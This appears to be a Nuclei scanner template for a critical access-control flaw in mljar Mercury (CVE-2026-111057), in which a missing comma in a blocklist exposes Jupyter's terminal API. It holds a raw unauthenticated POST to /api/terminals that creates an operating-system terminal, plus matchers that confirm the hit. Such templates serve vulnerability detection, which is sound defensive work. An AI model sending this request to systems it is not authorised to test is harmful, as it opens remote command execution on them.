id: CVE-2026-111057

info:
  name: "Mercury - Improper Access Control"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    In mljar Mercury from 3.0.0 until 3.2.4, a missing comma in the anonymous endpoint
    BLOCKED_PATTERNS list concatenates the `/lab` and `/api/terminals` regular-expression
    literals, so requests to `/api/terminals` bypass the blocklist and reach Jupyter Server's
    terminal API. An unauthenticated attacker can create an interactive operating-system
    terminal and execute commands as the Mercury process.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-111057&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mercury&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-111057
    cwe-id: CWE-284
  metadata:
    verified: false
  tags: cve,cve2026,mercury,auth-bypass
http:
  - raw:
      - |
        POST /api/terminals HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"name\"", "\"last_activity\"")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200 || status_code == 201'
        condition: and